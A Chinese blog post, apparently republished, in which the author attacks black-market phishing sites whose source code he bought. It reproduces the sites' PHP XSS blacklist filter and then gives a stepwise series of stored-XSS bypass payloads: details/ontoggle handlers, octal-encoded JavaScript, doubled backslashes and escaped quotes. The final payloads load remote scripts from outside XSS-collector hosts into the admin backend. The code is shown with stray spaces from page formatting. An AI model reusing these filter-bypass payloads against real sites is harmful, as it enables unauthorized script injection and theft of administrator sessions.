攻破黑市最流行的钓鱼网站
这种类型的钓鱼网站最少有上百个了~
我风在指尖今天要为民除害~~~
自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究
钓鱼站是这样的
看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS
过滤xss 脚本如下
[AppleScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
< ?PHP function RemoveXSS ( $val ) { / / = = = = = = = = = = = = = = = = = = = = = = = = = = / / / / / / / / 随风 程序开发 QQ 957223651 / / / / 此类用来防止XSS / / / / = = = = = = = = = = = = = = = = = = = = = = = = = = / / $val = preg_replace ( ' / ( [\x 00 - \x 08 , \x 0 b - \x 0 c , \x 0 e - \x 19 ] ) / ' , '' , $val ) ; $search = 'abcdefghijklmnopqrstuvwxyz'; $search . = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search . = ' 1234567890 !@ #$%^&*()'; $search . = '~`"; : ? + / = { } [] - _|\'\\'; for ( $i = 0 ; $i < strlen ( $search ) ; $i + + ) { $val = preg_replace ( ' / ( & #[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); $val = preg_replace ( ' / ( � { 0 , 8 } '.ord ( $search[$i] ) .';? ) / ' , $search[$i] , $val ) ; } $ra 1 = Array ( 'javascript' , 'vbscript' , 'expression' , 'applet' , 'meta' , 'xml' , 'blink' , 'link' , 'style' , ' script ' , 'embed' , 'object' , 'iframe' , 'frame' , 'frameset' , 'ilayer' , 'layer' , 'bgsound' , ' title ' , 'base' ) ; $ra 2 = Array ( 'onabort' , 'onactivate' , 'onafterprint' , 'onafterupdate' , 'onbeforeactivate' , 'onbeforecopy' , 'onbeforecut' , 'onbeforedeactivate' , 'onbeforeeditfocus' , 'onbeforepaste' , 'onbeforeprint' , 'onbeforeunload' , 'onbeforeupdate' , 'onblur' , 'onbounce' , 'oncellchange' , 'onchange' , 'onclick' , 'oncontextmenu' , 'oncontrolselect' , 'oncopy' , 'oncut' , 'ondataavailable' , 'ondatasetchanged' , 'ondatasetcomplete' , 'ondblclick' , 'ondeactivate' , 'ondrag' , 'ondragend' , 'ondragenter' , 'ondragleave' , 'ondragover' , 'ondragstart' , 'ondrop' , 'onerror' , 'onerrorupdate' , 'onfilterchange' , 'onfinish' , 'onfocus' , 'onfocusin' , 'onfocusout' , 'onhelp' , 'onkeydown' , 'onkeypress' , 'onkeyup' , 'onlayoutcomplete' , 'onload' , 'onlosecapture' , 'onmousedown' , 'onmouseenter' , 'onmouseleave' , 'onmousemove' , 'onmouseout' , 'onmouseover' , 'onmouseup' , 'onmousewheel' , 'onmove' , 'onmoveend' , 'onmovestart' , 'onpaste' , 'onpropertychange' , 'onreadystatechange' , 'onreset' , 'onresize' , 'onresizeend' , 'onresizestart' , 'onrowenter' , 'onrowexit' , 'onrowsdelete' , 'onrowsinserted' , 'onscroll' , 'onselect' , 'onselectionchange' , 'onselectstart' , 'onstart' , 'onstop' , 'onsubmit' , 'onunload' ) ; $ra = array_merge ( $ra 1 , $ra 2 ) ; $found = true ; while ( $found = = true ) { $val_before = $val; for ( $i = 0 ; $i < sizeof ( $ra ) ; $i + + ) { $pattern = ' / '; for ( $j = 0 ; $j < strlen ( $ra[$i] ) ; $j + + ) { if ( $j > 0 ) { $pattern . = ' ( '; $pattern . = ' ( & #[xX]0{0,8}([9ab]);)'; $pattern . = '|'; $pattern . = '| ( & #{0,8}([9|10|13]);)'; $pattern . = ' ) * '; } $pattern . = $ra[$i][$j]; } $pattern . = ' / i'; $replacement = substr ( $ra[$i] , 0 , 2 ) .' < x > '.substr ( $ra[$i] , 2 ) ; $val = preg_replace ( $pattern , $replacement , $val ) ; if ( $val_before = = $val ) { $found = false ; } } } return $val; } ? > |
我们可以看到,能过滤的事件基本上都被对方过滤了
但是,像这种黑名单肯定都有不完善的地方没错
[AppleScript] 纯文本查看 复制代码
1
|
< / TD > < details open ontoggle = eval ( "\141\154\145\162\164\140\140" ) > |
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140147193-1053317146.png)
然后我们进入到后台查看,却没有弹窗,这是为什么呢?
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140205411-250448130.png)
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140213771-360462565.png)
对比查看
完整的代码
[AppleScript] 纯文本查看 复制代码
1
|
< / TD > < details open ontoggle = eval ( "\141\154\145\162\164\140\140" ) > |
过滤后的代码
[AppleScript] 纯文本查看 复制代码
1
|
< details open = "" 141154145162164140140 ")" > < / details > |
把\ 过滤了 那么我们加两重绕过试试
这段代码插进去试试看
[AppleScript] 纯文本查看 复制代码
1
|
< / TD > < details open ontoggle = eval ( "\\141\\154\\145\\162\\164\\140\\140" ) > |
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140226083-1723192170.png)
进入后台
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140233943-1878468940.png)
成功弹窗,现在我们可以尝试 引用自己站点的代码了 。。。。。。。。。。。。。。。
源代码应该为
[AppleScript] 纯文本查看 复制代码
1
|
< / TD > < details open ontoggle = eval ( var s = document .createElement ( ' script ' ) ;s.src = 'http : / / xss.tv / XA'; document .body.appendChild ( s ) ; ) > |
直接放上去是不行的,我们要对其编码,使用JS8编码
[AppleScript] 纯文本查看 复制代码
1
|
< / TD > < details open ontoggle = eval ( "\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73" ) > |
然后把\改成\\ 绕过对方的过滤规则
[AppleScript] 纯文本查看 复制代码
1
|
< / TD > < details open ontoggle = eval ( "\\166\\141\\162\\40\\163\\75\\144\\157\\143\\165\\155\\145\\156\\164\\56\\143\\162\\145\\141\\164\\145\\105\\154\\145\\155\\145\\156\\164\\50\\47\\163\\143\\162\\151\\160\\164\\47\\51\\73\\163\\56\\163\\162\\143\\75\\47\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\56\\164\\166\\57\\130\\101\\47\\73\\144\\157\\143\\165\\155\\145\\156\\164\\56\\142\\157\\144\\171\\56\\141\\160\\160\\145\\156\\144\\103\\150\\151\\154\\144\\50\\163\\51\\73" ) > |
但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入
那么只能不断的裁剪,不编码最终代码为
[AppleScript] 纯文本查看 复制代码
1
|
“ < details open ontoggle = document .body.appendChild ( document .createElement ( "scr" + "ipt" ) ) .src = "http://www.baidu.com" > |
“ 是闭合掉前面的标签
<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> 是引用我们XSS站点的代码,对方没有过滤doucmnet,只过滤了script
现在我们插入试试
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140424724-1689892195.png)
依然没有成功执行,在继续看看对方的源码
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140249177-216934918.png)
将其复制出来,看看到底是什么原因
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140407599-1970235986.png)
首先script标签被打乱了,并且多了个” 号,这很好绕过
前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码
我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则
[AppleScript] 纯文本查看 复制代码
1
|
" < details / open / ontoggle = document .body.appendChild ( document .createElement ( '\\ 163 \\ 143 \\ 162 \\ 151 \\ 160 \\ 164 ' ) ) .src = 'http : / / www.baidu.com' > |
把script转换成JS8进制编码
把所有的” 号换成’ 号
把所有的” 号换成’ 号
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140301833-100118472.png)
这样构造
结果后台没有存储任何数据
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140352365-1314921891.png)
后来经过别人指点才知道, 默认输入’单引号会被过滤,我们只能在’单引号前面加上\
最终的代码就是
[AppleScript] 纯文本查看 复制代码
1
|
" < details / open / ontoggle = document .body.appendChild ( document .createElement ( \'\\ 163 \\ 143 \\ 162 \\ 151 \\ 160 \\ 164 \' ) ) .src = \'http : / / xss.sssie.com / FMD 27 h\' > |
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140327849-536509665.png)
然后自己进入后台查看~
![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170731140321443-1671588209.png)